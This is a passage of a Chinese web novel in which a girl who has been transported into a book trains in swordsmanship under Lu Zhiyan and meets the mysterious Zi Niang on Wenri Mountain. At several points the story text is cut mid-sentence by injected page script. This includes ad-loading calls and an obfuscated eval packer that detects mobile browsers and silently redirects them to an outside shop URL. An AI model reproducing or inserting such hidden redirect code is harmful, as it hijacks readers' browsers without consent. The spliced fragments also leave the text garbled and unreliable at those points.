“再再再说了,厉害本就是很主观的词。你呢,救了我好几次,我主观上就觉得挺厉害。” 路植晏站在那儿,没再往下走,就这么看着这个总是喜欢将好几种颜色堆砌在身上的少女。 谢 惊春继续边走边说:“你应当会觉得我以前不想学,今时今日怎么倒悔悟了。因为我有了不算特别清晰的目标,但那也是目标。那就是猎妖,保护别人,而不是让别人保护。听起来还挺中二,却也蛮帅的。” 说着,她笑了几声。因为她本想说的是:猎妖,提升等级。 可是突然觉得保护也是一个不错的词。 “你觉得呢?路植晏?”她都已经下了阶梯,回头却发现路植晏还站在高处。 夜黑得让世间没什么色彩了,路植晏半晌才回过神:“嗯,有道理。” “是吧是吧。” 真是难得,路植晏居然同意她的观点。 夜风拂面,她脸上的那些小雀斑都觉得非常舒适。 “谢惊春,你若真的想跟着我学,明日来问日山。” 月光刺过不远处的桧杉,在谢惊春眼中斜掐出一片明亮来,那圈明亮在听到这句话时更亮了。 “当真?” “当真。但我先说好了,想让我教,便要一切都听我的。” “行。路老师!” “不许叫我路老师。” “为什么?” “对于我说的话尽量不要问为什么,照做就行。” “为什…行。” “不许和别人说你的剑法是我教的。” “为什么?哦,行。” “师父领进门,修行在个人,大部分时间你需要自己练习。” “行。等一下,那你不会离我太远吧?” “那是自然。” 路植晏又仔细想了想,暂时没想到还有什补充的。 14. 当阳(十四) 本以为今天是高高兴兴,再也不用承受系统痛感的一天。毕竟白天和路植晏近距离接触,晚上又有免疫特权,等级提升在望,还有月中解绑相伴。 然而却在看到李岁寒那个臭小孩时,刚浮起来的欣喜都随风飘散。 谢惊春瞪大眼睛,不可置信:“他他…他怎么在这里?” 路植晏不以为意:“哦,他…也算是我之前收的小徒弟吧。按时间论,他也算是你的…师兄。” WTF??? 李岁寒吐了吐舌头,一副小人得志的模样:“小师妹~” 当她气急准备说的“滚啊”到嘴却成了“呱”的时候,她便知道李岁寒这臭小子的嘲笑就会像那夏日豹脚蚊子一样,想一巴掌拍死,却把自己打疼。 算了,再怎么样,也比之前好,这般如花似玉的粉嫩年纪,可不能气出皱纹来。 “每日卯时二刻起,四刻去问日山爬三个来回后吃饭,务必要在巳时之前到听竹林练剑。午时四刻吃饭,半个时辰后来两仪湖,届时我会根据你们的成果决定是否要教新的东西。戍时歇,今日便执行。” 路植晏看了看他们二人,接着问道:“是否明白?” 谢惊春现在无比庆幸自己上网查过,古代时辰都对应什么时间段。要不然路植晏的话在她耳朵里就是:巴拉巴拉到这儿来,吃饭;巴拉巴拉到那儿去,吃饭;巴拉巴拉回来,吃饭。 眼看着李岁寒要说话了,她连忙举手,抢先他一步:“非常明白!” 爽啊,看见李岁寒那小人不得志的样子就爽。 可是这问日山这么高,她要三个小时内爬三个来回!半小时疯狂下山她都够呛,更遑论半小时上山。 “小师妹~爬不了可以不爬呦。” 李岁寒话刚落音,只见谢惊春已经挽起袖子,一步踏三个阶梯往上冲了。 小孩儿一跺脚,大喊一声:“师妹耍赖!” 谢惊春回过头,但依然没有停下步伐:“呵,耍赖?搞得谁跟你有约定似的!” 早知道不穿这么长的裙子了! 在现实生活中她一直都没机会穿这种七仙女似的裙裳。她用自己的奖学金偷偷在地摊买了件劣质仙服,虽对汉服形制不了解,可当时的她却激动地睡不着觉,半夜起来将藏在书包里的仙服拿出来试穿,因为不敢开灯,只得在窗前借着月光欣赏。 后来被妈妈发现,将她骂得狗血淋头,那套青藕仙服就那样被剪碎,像是夏末河面一滩枯败的残荷败叶。 她再也没穿过这种衣服。 如今她有各色各样的裙裳,她就爱穿那种大摆,转起来像是春日精灵。所以她那么多衣服,只有寥寥几件是不踩脚的。 不过看来,为了修行,她暂时需要将这些大摆长裙压箱底了。 问日山陡峭,除了四条登顶的阶梯,周围皆是茂林。 谢惊春无法想象这三个来回下来,双腿是否还存在。 她将裙摆的一半给系起来,好不容易费劲力气登顶,还没来得及远眺放松一下,却被远方的晨曦浇了个通透——再不快点,早饭都没得吃了。 她才发现这下山简直也是灾难,因为简直太陡了! 她每一步都得格外小心,摸索着一级一级的下。如此,速度便比上山还慢。 突然,背部被什么东西敲了一下,谢惊春呼吸瞬间停滞,整个人不受控制地俯冲,甚至一脚直接连跨几阶跑了下去。 “啊啊啊啊啊啊——救命啊!!!” 清晨的山风拼命往嘴里钻,她完全呼吸不过来。可是双脚目前不受控制得停不下来,只得一边憋气一边拎着裙子猛冲。 一个来回下来她感觉自己已经极限了。 “不行了不行了,要挂了……”谢惊春直接坐在了山脚,甩了甩头,刘海上那些不知是汗还是山雾的水珠子被甩了出去。 “路植晏,你刚才打我作甚?!” 谢惊春看着刚刚下来的路植晏,不满地发问,刚才那一下,她小命差点都没了。 “这是修行必备。其实你天赋还可以,但身体素质太差,基础太差。你若是完成不了,今日是第一日,暂可宽你一次。” 听到天赋还可以,刚才的不满刹那消失,取而代之的是暗爽。 “谁说我完成不了,我就是休息一小会而已。”说着,她便站起来,冲在了路植晏前头。 这两根棍子不是我的腿,它们是高跷。这酸痛的感觉不是真的,是我自己臆想出来的。就当自己是个机器人,现在正在麻木地上山。我没有痛感,没有痛感…… 也不知道是这些自我安慰额说辞,还是经常承受的系统痛觉起了作用,谢惊春感觉似乎也没酸痛到令人发指的地步。 “小师妹~你……你是不是快不行了?”李岁寒不知道什么时候撵了上来,胖嘟嘟的脸上此刻也是油光满面,上气不接下气。 他随意地用袖子擦了一下脸,还逞强说道:“我可是……可是感觉一点都不累呢。” “哦,巧了嘛这不是,我……我也感觉一点都不累,反而觉得轻快得很,就像是……洗了个热水澡一样舒服。” “呵呵,我也是,感觉……感觉还能再来十个来回,甚至边吃饭边爬都可以的。” “是啊是啊,感觉才刚松了骨而已,一点酸痛感都没有。” 两个人气喘吁吁,几乎是贯彻了“爬”山的宗旨,却还一定要分出力气逞个口舌之快。 山顶,路植晏盯着一棵红杉的影子说道:“巳时已到。” 谢惊春和李岁寒同时一惊,“啊?这么快?!” 他们还在苦逼地爬第三个上山。 “这棵红杉树影到达第五层石阶,便是巳时。” 膳堂。 寥寥无几的几个人被面前的景象惊讶地动不了筷子。 这个点还有人饿成这样? 两个人将面前的食物暴风吸入,好像吃了这顿就没下顿一样。 路植晏:“你们这样会适得其反,对于之后的修行,百害而无一利。” 两个人又神同步地慢了下来,一粒一粒地吃着。 谢惊春敢肯定路植晏是故意的,这问日山与听竹林相隔甚远,听竹林与两仪湖就更别提了,一个在最南边,一个在最北边。 光这来回换地方就已经超出她以往不知道多少运动量了。 所以晚上,她成功地失眠了。 本以为累成这样她会秒入睡,可是一想到明天,后天,不知道到往后哪一天她都得这样,就觉得崩溃。 突然觉得还不如系统的痛感。 【恭喜宿主等级提升为测试者LV3。目前宿主与角色「路植晏」的绝对安全距离为20公里,绝对无痛距离为1.5公里。】 “这哪里来的等级提升?” 【凌阳喰妖。】 哦~当时金樽那奇妙的感觉,她都快忘了金樽也参与了一击。 好,睡觉!明天继续! 可现在的日子就像是回到了现实生活中,日复一日,连学得慢都和现实生活中如出一辙。 路植晏那句“天赋还可以”似乎也只是安慰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的话。 哪怕她什么都按部就班地做了,可她甚至没有一个十岁的小孩学得快。就像读书一样,别人是摆烂才落个中游成绩,而她是挑灯夜读,才能确保自己的名次不掉。 就算自己回去了,文化课肯定也已经落下。到时候会不会爆冷考个倒数,那她该如何面对妈妈。 “老娘好歹曾经也是985学生,怎么就生了你这么个蠢货?!你争点气行不行啊!” 上次月考后,妈妈的话仍在耳边萦绕。 一想到这儿谢惊春就烦躁了起来,一开始的干劲满满也会逐渐垂落。 虽然她此刻拿着剑,眼神却很是呆滞。 “谢大小姐在想什么?” 路植晏双指弹了一下她的剑尖,金樽便左右晃动,竟发出轻微的剑鸣。 谢惊春回过神来,瞥了一旁因为早就练得差不多,所以在歇息的李岁寒,又转头对路植晏说道:“哦,对不起,刚才走神了。” 路植晏没有说话,只是帮她调了一下剑的位置。 “嘿嘿,李岁寒,我问你哈,你……” “叫声师兄听听。” “你这个臭小子,我可是比你多吃七年的饭。” “那我不管,你不叫我就不会回答你的任何问题。” 惊春捏紧拳头,咬牙切齿,心想:算了,豁出去了,不耻下问。 “师……兄。”谢惊春所发出的两个字音都是从齿间硬生生挤出来。 毕竟对着一个比自己小太多的人叫出师兄这两个字还是有些羞耻,特别是李岁寒这样的臭小孩。 “什么?”李岁寒将手放在耳朵上,故意做出一副没听清的模样。 “李师兄——”惊春猛然提高嗓音,惊起一群在枯枝歇脚的鸟儿,“满意了吧?” “还成,就是有点废耳朵。想问什么问吧,我考虑考虑要不要回答你。” 反正见惯了他这死出,谢惊春便一字一顿道:“请问您是如何让您的命剑飞起来的?” “这个嘛这个,我也不知道,就随便一弄,它自己就出来了。”李岁寒拽得跟二五八万似得,又补了一句,“没办法,你李师兄唯一的缺点就是太聪明了。” 谢惊春:我真是贱的,居然跑来问他?还白费了两声师兄,于是她毅然决然地准备换个人问。 “姜姑娘,我问你哈,你当初是怎么让你的千华飞起来的?” “用意念,你就闭着眼睛想,你也甭管它飞不飞的,你就想象它出鞘了!做到人剑合一就行了。” emmmm……我使劲,我拼命想,你给我出鞘! 金樽如磐石一样纹丝不动。 哎! “哎惊春,我可以让路知慎教你啊!我记得别人跟我说过,以前有个师兄也是迟迟不能运剑,然后路知慎只点拨了几句,没过几天他便会了。” 路知慎……虽然她知道男主很厉害,但毕竟是朋友的男朋友,总感觉怪怪的,而且一想到后面他会杀死父母,谢惊春对他便有些惧怕。 “能行吗?” “肯定能行,你别看他平日里不说话死闷骚的,但是其实人很好的。” 说完,姜眠鹤才反应过来自己在夸他,脸上爬上一片浅淡的红云。 谢惊春一脸狡黠地望着她,露出姨母笑。 “走啊,我带你过去,他现在肯定在常宁室。” 谢惊春:“不行,我还得抓紧去两仪湖,要不然路植晏肯定会加罚的。” “放心,什么事和路知慎又关联,路植晏应会选择性忽略。” 15. 当阳(十五) 还未至常宁室,便可闻到一股沁人心脾的扶心香的味道,穿过长廊,穿过几棵刚刚长了花骨朵的梨花,幽幽地送进鼻间,让人不觉放松下来。 姜眠鹤敲了敲门,然后捏着嗓子换了种声线:“路大公子,且都求见。” “姜眠鹤,别闹了。” 里面传来一道温柔的声音,像是清晨的露水滴落在那些尚未开的梨花上,洋洋盈耳。 姜眠鹤叹了口气对谢惊春说道:“真是没意思,我以前可是校园模仿秀大赛的冠军。” 谢惊春顿了一下,接着装模做样的说道:“姜姑娘,何谓校园模仿秀大赛?” “emmm……就是学别人说话,我很会模仿别人的,比如……” 门被打开,惊鸟铃微微摇晃,路知慎穿得极其素雅,手上还拿着一卷书。 谢惊春浅浅一笑,恭恭敬敬地道了一声:“路……大哥。” 她本想直接喊见过路大公子的,但是一想到记忆中原身小时候见过他几次,且一直都是喊路大哥,便也不敢引起怀疑。 身后是满墙的书卷,分门别类,陈列有整,有些随着岁月地磋磨而泛出了黄色的痕迹,他一身洁白融入其中,反倒更显蔚然深秀。 “惊春。” 听见路知慎喊了自己一声,谢惊春猛然回过神,才发现男女主都正看着自己。 这还是她第一次这么近距离地看路知慎,也正因如此,她更加想不通到底有何原因,会让如此弘润通长的人,杀了那么多无辜的生命。 按常理来说,男女主的人格必定都是正向的,就算做出出格的事也是身世凄惨或者形势所迫,到底是什么形势…… “路大哥,就是我最近在运剑上总是不得其旨,希望你能指点一二。” “是啊是啊,路知慎,你快帮她看看吧。” 路知慎看了看身旁的姜眠鹤,点了点头。 “哐啷” 剑刚出鞘一点,便立马回去了。 “惊春,可否让我看看?”路知慎指了指金樽。 金樽通体银白,触感冰凉,剑格处雕刻尤外复杂,似是繁花锦簇,似是天云乱缠。 一般人多会选择轻剑,主脱手运剑;亦或者选择重剑,主手持挥力。 这二者说不出哪样更好,但是一剑最起码要占一样,可金樽柄轻而刃重,如此既不适合以力作武,也不适合以念运剑。 “惊春,这把剑当初你是如何拔出来的?” 当初为了将这把剑拔出来,原身将手都磨破了,可还是徒劳,但她就看上了这把剑,就算不能用,天天戴在身上装样子。 当时盛世名流要齐聚问剑,路家凭空跳出一个八岁的二公子,以独特的双剑位居第二。 偶然看到他和路知慎在林中交战,二人的比试以路知慎的剑指眉心结束。 只余那二公子一人独坐林中,察觉到有人在偷看,他持剑冲了过去,谢惊春连忙拿起金樽抵挡。 少年顺势拔出金樽,毫不费力。 虽然当时他们两个都蒙了,但是也确实从那时起,谢惊春便可以拔出金樽。 然而怕被别人议论,她一直不敢和别人说。 “我不大记得了。怎么了?路大哥,难道说这和我怎么拔出金樽的有关系吗?” “我只是一问,并无直接关系。但是或许这剑并不适合你,你可以暂且用其他剑练习,待有所成就之时再练金樽。” 说罢,路知慎从内室取下一柄长剑,道:“这剑无名,很难伤人,惊春不若先拿它修习。” “多谢路大哥!” 姜眠鹤:“哇,惊春你要不要现在就试试?” “不了不了,我还有急事。路大哥让我知道我很可能不适合金樽,这是我以前从来没想过的问题,我得先走了,实在对不起。” 说完,她便撒丫子跑起来。如果两仪湖迟到,路植晏肯定会加罚。 姜眠鹤还想要说什么,却被路知慎喊住。 “姜眠鹤,你和我说过你来自另一个世界,那你有想过回去吗?” 姜眠鹤捧着脸想了想:“回去?我是身穿,我不知道怎么回去嘞?” 这一次,路知慎并没有向往常一样撑着头看着她,而是盯着缭绕的熏香目不转睛,心绪似乎随着那直达上苍的烟霭飘摇。 他眉目间似乎有化不开的雪,整个人散发出平静的忧伤:“若是有一日,有的人并非你想象中的那般好,你会如何?” “这个就触及到我的知识盲区了,我身边的人,就是很好啊!” 姜眠鹤有些奇怪,路知慎怎么突然问出这样的问题。 “不管怎么样,你一定要,好好活着。” 路知慎站起身,腰间玉器相撞之声璆然。 姜眠鹤手指微动,心中隐隐有些不安。 *** 黑夜中的问日山真是别有一番风味,谢惊春独自一人坐在山顶,拢了拢衣袖。 这几天有些不专心,导致今天早上只爬了两个来回,路植晏让她自己晚上补。 外加今天到两仪湖迟到,又被加罚了一个来回。 她只是木讷地爬,爬到山顶才发现这已经是第三趟了。 她索性就坐了下来,冰冷的石阶让她陡然一颤,但是实在也没什么力气站着,想着捂捂就好了。 山风带着春夜气息拂面,惊春捋了捋鬓发,叹出一圈淡淡的氤氲之气。 子时已过,emo时间到。 在这里的世界已经呆了两个月了,不知现实生活中怎么样了?时间是怎么流逝的? 害!现实生活,现实生活。现实生活又好到哪儿去呢? 永远提不上的成绩,永远难交到朋友,永远丢在人堆里也没有任何闪光点。 这也是为什么她很喜欢看小说,特别是那种女主特别聪明或者能力很强的小说。 每次看见她都羡慕得要死。 不过喜欢归喜欢,她看过的小说其实并不多,毕竟手机一个月才能拿到手两个小时,纸质小说也被撕了。 也因为这,班上根本没人敢借小说给她看。 苍天啊,我没有倾国倾城的容貌就算了,好歹让我聪明些,让我学东西学得快些。这样的话,无论是在小说世界还是现实世界,我都没这么累,没这么愁了。 “啊——” 谢惊春仰天喊了一声,声音还未达天际,便匿在了风中。 这时,林中灌木中突然传来了窸窸簌簌的声音,谢惊春猛地合上嘴巴,惊恐地向后望去。 “小姑娘~” 一道声音在头顶陡然响起,一个佝偻的妇人不知何时站在她身后。 妇人穿着一身白色中衣服,微微笑着,露出一口突出的黄牙,十几枚铜钱由白绳串起来,覆在她的双眼处,这一幕不禁让人觉得后背发麻。 谢惊春瞬间将手按在了金樽上,腾地一下站起来,连忙侧身后退了几步:“你是谁?” 那妇人也没有向前走,只是一下子收了笑意,“小姑娘大晚上不睡觉在这干嘛呢?” “你……你是人是妖?” 那妇人愣了一下,然后开始破口大骂:“你才是妖呢!你全家都是妖!你个小妮子,说话咋这么没礼貌呢?你大半夜嚎什么嚎,嚎得老娘睡不了觉了!!!” 说罢,她还深深剜了惊春一眼。 谢惊春呆滞在那儿,自我怀疑似地向山下看去。 不对啊,这山这么高 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,自己刚才的声音山下绝对听不见。况且问日山位处西北方向,根本就不会有人住在这旁边。 再说了,自己刚嚎了一声,她便立马出现,谁家速度这么快啊。 难道她真的是妖或者是鬼什么的…… 啊啊啊啊——早知道早点回去了。 怎么办怎么办,要是挂这儿了就啥都没了。 “我告诉你啊,这可是当阳,我劝你不要胡来!“ “再嚎给你腿打断!” 说罢,在谢惊春无比惊讶的眼神中,妇人“嗖”一下飞到树上,灵活地在枝桠间跳来跳去。 她躺在其中一个树杈上,似乎觉得不舒服,又继续往上跳。 啊? 刚才发生了什么?想得太多出现幻觉了吗?但是还是有些后怕,于是谢惊春便准备赶紧下山。 可她才刚踏出几阶梯,刚才那张瘆人的脸再次突然出现在了眼前。 谢惊春吓得快要魂飞魄散,差点一个趔趄摔下去,她情不自禁地想要喊救命,却被一只沧桑的手给捂住。 仅凭着月光,她看不太清那只手上爬满的细纹,但能感觉到这只手上全是粗糙的老茧,剌得她脸疼。 “都说了不要嚎不要嚎,嚎得老娘耳朵疼!”妇人松了手,指着惊春警告道,“你要是再嚎我真给你腿打断!都怪你,我好不容易找到那么舒服的树杈,被你一搅和,找不到了!” 谢惊春愣愣的,缩着肩膀不知道是跑还是站在这儿等她骂够。 “对……对不起,我不嚎,你别杀我行不行?” 大丈夫能屈能伸。 “杀你?杀你浪费我力气!你这姑娘,我都看见你多少天了,怎么爬个问日山还是这么费劲?” “没有,其实我有些长进了,我现在基本上能在巳时之前爬完三个来回了,就是可能吃不了早饭。我今天早上只是状态……” 说着说着,她突然鼻头一酸,眼睛里面像裹了一层沙。 但感觉为这么点事哭有些丢人,于是她深吸了一口气,硬生生将呼之欲出的泪水憋了回去。 “等等,你说看见我多少天了,你天天都能看到我?”谢惊春的声音还是残余着一些哭腔。 “差不多。” 原来如此,那便不是妖了,要不然早被路植晏发现了,今天的小命能保住了。 谢惊春长舒一口气。 妇人虽戴着铜钱眼罩,但就跟能看见她的小动作似的:“你今晚别回去了,跟我一起睡觉。” “啊?!!!” “怎么,你让我找不到那个最舒适的树杈了,我必须也要让你感受一下睡不安稳的滋味。” 接着,她便不由分说地拽起惊春的胳膊,就像拎小鸡一样跳上树。 这究竟要怎么睡觉?连坐着都觉得不舒服。况且她有必要这么有仪式感吗?在树上睡觉还要穿什么睡衣,不怕冷吗? 高处不胜寒,这小风一吹,刚才爬山冒出的汗此时却像怪物一样紧紧地贴在身上,让人倒吸凉气。 伸头向下望去,这根本就是空中楼阁,光是看一眼,便不禁打个冷战。 “嘶——”谢惊春抱住自己,不停地搓着手,“你好,我还不知阿姨您怎么称呼呢?” “什么阿姨?叫我紫娘。”紫娘侧身躺着,却突然捂住她的嘴,语气严肃,“别说话,有人来了。” 有人来了?谢惊春向下看去,虽然只看得隐约黑影,但还是能看出来那人此时是抬头的。 【宿主,我要告诉你一件重要的事。】 系统的声音不合时宜地响起来。 “什么?” 【虽然很微弱,但是我还是能感受到,这个世界,有我的同伴。】 16. 当阳(十六) 路植晏肩膀一沉,他没有回头,冷淡地说了一声:“父亲。” 路思贤庄肃道:“山上有老鼠,为父带你去看看。” *** “什么?也就是说有人也穿书了?” 【不止如此。】 “确实不止如此,若是本书在现实生活中已经完结,他还很可能是在知道结局的前提下穿进来的,那你知道是谁吗?” 【系统与宿主进行交谈之时,会产生一种特殊的电波,也只有这时我才能感受到其他系统的存在。而现在这种感觉很微弱,我推测,他目前应该不在路家。我希望你能尽快找到这个人,若是他真的知道终章内容,这对你能活着见证大结局将大有裨益。】 谢惊春点点头,再向下看时,却发现那道身影早已消失,而身旁的紫娘也不知何时不见了踪影。 整个问日山一片静谧,只有偶尔划破天际的鸟鸣刺穿这场诡异的无声。 谢惊春缓缓拔剑,却忽地感觉枝头一动,一只温暖的手覆上来,将她的剑归鞘。 “路植晏?” 路植晏做了个嘘的动作,随后准备将她打横抱起。 只一瞬,一条长长的紫绸如蛇,在黑夜中尤为鬼魅,向着他们追来。 他们现在距离太近,又是在树上,路植晏反而不好出手。他顺势拔出惊春腰间的金樽,寒光乍现,紫绸迅速缠了上来。 他直接单手抱起谢惊春,一手持剑发力掠过,紫绸即断。 随后,他一跃而下,惊春感觉不知是自己还是他的头发和交银铃红绳,疯狂地抽着她的脸。 这种失重感,让人觉得有些头晕,但这么近的距离……她本酸痛非常的身子骨此时就像浸泡在温泉中一样,得到前所未有的放松。 那丝丝,若有若无的竹香,也让她有些愣神。 路植晏抱着她落地,一名紫衣女子从暗影里走出来。 “你是谁?”路植晏将惊春挡在身后,盯着这个举止怪异的女人,试图从她的表情动作中找出任何的破绽。 紫衣女子身材窈窕,背薄腰细,柳腰处别着卷轴,随着婀娜多姿的身段轻动。 她停在那里,似乎没有再出手的意思。 谢惊春忽然发现什么,从路植晏身后走出,“啊!你是……刚刚的紫娘吗?” “你怎么知道?哎真无聊,你,你,你们两个都是如此无趣!” 紫衣女子瞬间觉得没意思,她靠在树上,生气般地甩了甩身上的披帛。 “你眼上的铜钱,好明显的。”见紫娘承认,谢惊春更加好奇了,“你怎么突然变得这般年轻?” 紫娘一把将惊春拽了过来:“这是我的独门绝技易容术,想不想学?现在你们两个都打扰到了我,所以你们都得陪我睡觉。若是给我陪满意了,我就教你们。” 可路植晏却一动也不动:“不行,明日还要早起修习,如何能在这里睡?” 谢惊春赞许似地朝着他点了点头:“紫娘,他说的是真的,再不赶紧舒舒服服睡一觉,我们明日会起不来的。” 本来还想着紫娘会就纠缠一会儿,却没想到她直接摆了摆手,将谢惊春扔到路植晏怀中:“我就说你们,真是没意思!” 路植晏的手踌躇了一瞬,不知道扶哪儿,然后拎住惊春的衣领及时稳住她的身形。 他的手上有茧,不小心刮过后脖颈露出的那一点点肌肤,让谢惊春鸡皮疙瘩一起,条件反射地缩着脖子,回头看了他一眼。 路植晏快速抽回手,讪讪地摸了摸耳后。 山风刮过,树叶飒飒响动。 紫娘猛然回头,视线在二人身上搜寻。 透过铜孔,她盯着路植晏左耳上的别妄铃,眼下逐渐爬上冷光。 她伸出长绸缠住路植晏腰腹,语气骤然狠厉:“别妄铃,哪来的?” 谢惊春一惊,抬剑挑起长绸:“紫娘?” 路植晏眯起眼睛,眼下卧蚕拢起,墨玉般的眸子流出几分寒意,冷静非常,似乎在等待着什么。 “你是怎么进入当阳的?!” 突然,路思贤那低沉严厉的声音传来。他一开口,总会让人不禁吊着心胆。 紫娘秀眉瞬间皱了起来,不可置信地看着路植晏,随后在他浅浅的笑意中,咬咬牙将他放开,极快地从腰间取下卷轴。 路思贤身形闪现,一掌想劈向她的喉咙,紫娘仰头,即刻绕过他的手臂,右手接住掉落的卷轴。 二人一招一式都是快至无影,偶尔发出气流爆破的声音。 路思贤广袖拢风,气息平稳:“桃花源?你是桃花源的人?亦或者说,你就是妙成女君?” “路家主在说什么?我这老太婆可听不懂呢!”眼前铜钱随着动作哗啦作响,紫娘的音调颤抖急促。 她深知自己,根本不是路思贤的对手。 “妙成女君大驾光临,为何如此偷偷摸摸?承封天命,天降唯仁。妙成女君,桃源神仙,我们见过一面啊。” 紫娘挥出长袖,紫练上迅速爬满扭曲的桃枝,上面点点花苞刹那绽放。 “路思贤,你偷了桃花源的东西,我只是想为了妙成女君,以其人之道,还治其人之身罢了。” “也是,你双目能视,法力高强,大约也只是妙成女君座下婢女吧。”突然,路思贤看向路植晏,“愣着干什么,还不将她手中画轴拿过来!” 路植晏和谢惊春看着这两个人打来打去,视线顺着他们上上下下,左左右右。 紫娘冷哼一声:“别妄铃,天地镜……如今你还想要这桃花卷?!” “这么想要,给你吧!”说罢,她将那卷画轴扔到路植晏怀中。 路思贤一掌正欲打在她胸口,脑海中闪出妻子的身影,又立马将掌换为二指勾击。 紫娘被伤,后退数步,她忍着痛丝毫不犹豫,趁机收回紫练,绽放的桃花一瞬枯萎糜烂,随后她一跃上树。 “我有秘卷,速通我行!”紫娘从怀中又掏出一枚卷轴甩出,口中快速念出法诀。 卷轴在空中摊开,桃花漫天。 路思贤惊诧,转而怒目圆睁。他右手朝天,仿佛要将空气撕裂一般,那些桃花在他蓄出的极大力量下,猛然炸开,在黑夜中如烟花般绚烂。 谢惊春:“喔哦,好漂亮。” 可紫娘和画卷早已没了身影。 扑了空的路思贤气急败坏,捏紧了拳头,一丝不苟的鬓发微乱。 他很后悔,刚刚就应该一掌杀了她,直接夺下桃花卷,都是因为他答应过妻子,手上不会再沾染人血,如今才会产生下不去手的情况。 “喔,这幅画好漂亮啊,难道这画的就是桃花源?” “可能。但她居然肯给,应该是假的。” 路植晏和谢惊春两颗脑袋挤在一起,对着那幅画细细品味,虽然看不太清。 路思贤许久才将暴躁的情绪收敛,他整了衣襟走过来,将桃花卷拿起:“不是假的,通过桃花卷可入桃花源。其有两卷,一进一出,而此卷为「出」卷。” 谢惊春举手提问:“路叔叔,可我们不能进去,那「出」卷岂不是也没什么用了?” “除了「进」卷可入桃花源,也不是说别无他法。”路思贤走出几步,“我曾由机缘偶然入过桃花源。东南,天山道。” “惊春,还是要早些歇息的好。今日之事最好不要对别人说。”路思贤将桃花卷别在腰上,微笑着说道,又深深看了一眼路植晏,才转头离去。 路植晏心中暗嗤虚伪,眸色几番晦暗。 谢惊春点点头,应声好,但经过这一折腾,她的困意其实已经所剩无几。 不仅因为没来得及消化的愁闷和刚才突然出现的紫娘,也因为系统和她说的那个重要消息。 有其他人穿书了。 谢惊春一步一颓地下阶,看向身边的路植晏,“路植晏,你为什么会来?” 路植晏摸了一下鼻头,说道:“听见的。” “啊?真能听见啊,你耳朵这么好使啊!” “当然,你若是好好修习,日后也能如此。” 谢惊春暗忖:牛而逼之。到时候回去了,那我岂不是可以听见很多八卦了! 路植晏别过头,他总不能说自己能感知到她的位置,感觉她在问日山早已超过了她爬两个来回的时间,觉得有些奇怪,莫名其妙想过来看看吧。万一出事情了,还是自己的责任,毕竟是他自己偏要加罚的。 谁知道他刚上来,路思贤就突然出现,说带他看老鼠。 “今日在两仪湖,你还没回答我,你这把剑是什么意思?”路植晏指了指她腰间的另一把剑。 他其实知道,她今日去了路知慎的常宁室。 “这剑叫无名,是你哥给的,用来练手。” 路植晏语气讥诮,顺手取下她腰间无名,对着月光照了照:“怎么?觉得我教的不行,又跑去找他?” 谢惊春停住,低着头,摩挲着金樽的剑柄,半晌没有说话。 她深呼吸了一口气:“没有,是我自己的问题。我总是学不会释剑,也不好意思老找你问,毕竟李岁寒都学会了。” 路植晏愣了愣,没想到她会这般直白地心中想法说出,说道:“这剑可不是无名,这是他以前的配剑千华。” 这……谢惊春呆了一下,话说千华不是姜眠鹤命剑的名字吗? “什么叫他以前的配剑?” 命剑至关重要,一般捉妖师只此一生都只能有一柄。更何况要想将命剑练得炉火纯青,需要花很多年,哪里有随便换的道理。 不过不愧是男主,路知慎说过无名无刃难以伤人,可这把剑却是曾经的配剑,还能跟着他做出那么多牛逼哄哄的事迹。 “算了,你也不必知道。你需要知道的是,姜姑娘命剑的名字是他亲自帮取的。” 他刻意加重了后面一句话的音调,似乎是想让她明白什么道理。 谢惊春当然听出来了,她突然狡黠一笑:“怎么,你也磕他们的CP啊?” 路植晏:“……” 已经习惯她偶尔会冒出一些奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954531|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪怪的发言。 “请问谢大小姐,我教你这么长时间,我骂过你吗?” “那倒没有。” “你害怕我吗?” “还行。”谢惊春想了想,又补了几句,“一开始有点,现在感觉其实你人还可以,教得很认真,长得也好看,就是偶尔有点装逼,不过这对于十七八岁的人来说,还是蛮正常的。比如我也很想装逼,可是能力不行,时常装成了傻逼。” 她一双眼睛中透着十足的真诚,时不时点点头,对自己说的话加以肯定。 说完最后一句,她还被自己逗笑了。 路植晏呆滞住,瞳孔微微放大。 从来没有这样说过他。 少女如碎星点缀在脸的雀斑,在月光下随着她的笑如同琥珀一样。 他刚吐出一个字的话收了回去,想了半天没想起来还想问什么来着,他快速眨了眨眼,回过神来:“我才不可以,我人一点都不可以。” 说罢,急匆匆地往下走。 长长的石阶在月色的照耀下,如同一束光从地面射出,直达天际。 路植晏感觉自己腰间又开始不受控制地痉挛,便毫无预兆地停下,冷冷道:“你走前面。” 谢惊春撇撇嘴,走前面就走前面。她实在无法理解,怎么会有人有这怪毛病? “所以紫娘是桃花源的人,她通过「出」卷来到世间,想要拿回天地镜和你的别妄铃。而路叔叔以前偶然去过桃花源,将这两个法器带了出来。如今他还想要拿到桃花二卷,特地来此?” 路植晏安静地走在惊春后面,眉头紧锁,低眸认真思索。 他印象中,路思贤从未提起去过桃花源之事,如今却就这么堂而皇之,当着他们两个人的面说了出来,实在让人觉得疑惑。 他更不知自己的别妄铃居然是从桃花源带出来的。 谢惊春走几步就得停下等他一会:“你不觉得那个紫娘很奇怪吗?” 路植晏立马回道:“她全身上下都很奇怪。” “就算她再急,也没必要直接把「出」卷丢出。” “她可能觉得给了我们「出」卷也没用,没有人能进的去。” “可路叔叔不是说他曾不借「进」卷就进入过吗?紫娘认得路叔叔,并且对他的实力很了解,那她定知道「进」卷不是入桃源的必要条件。”谢惊春觉得几步一等很麻烦,索性坐在石阶上。 路植晏竟也鬼使神差地顺着她坐下,撑脸看着她的头顶:“有没有一种可能……” 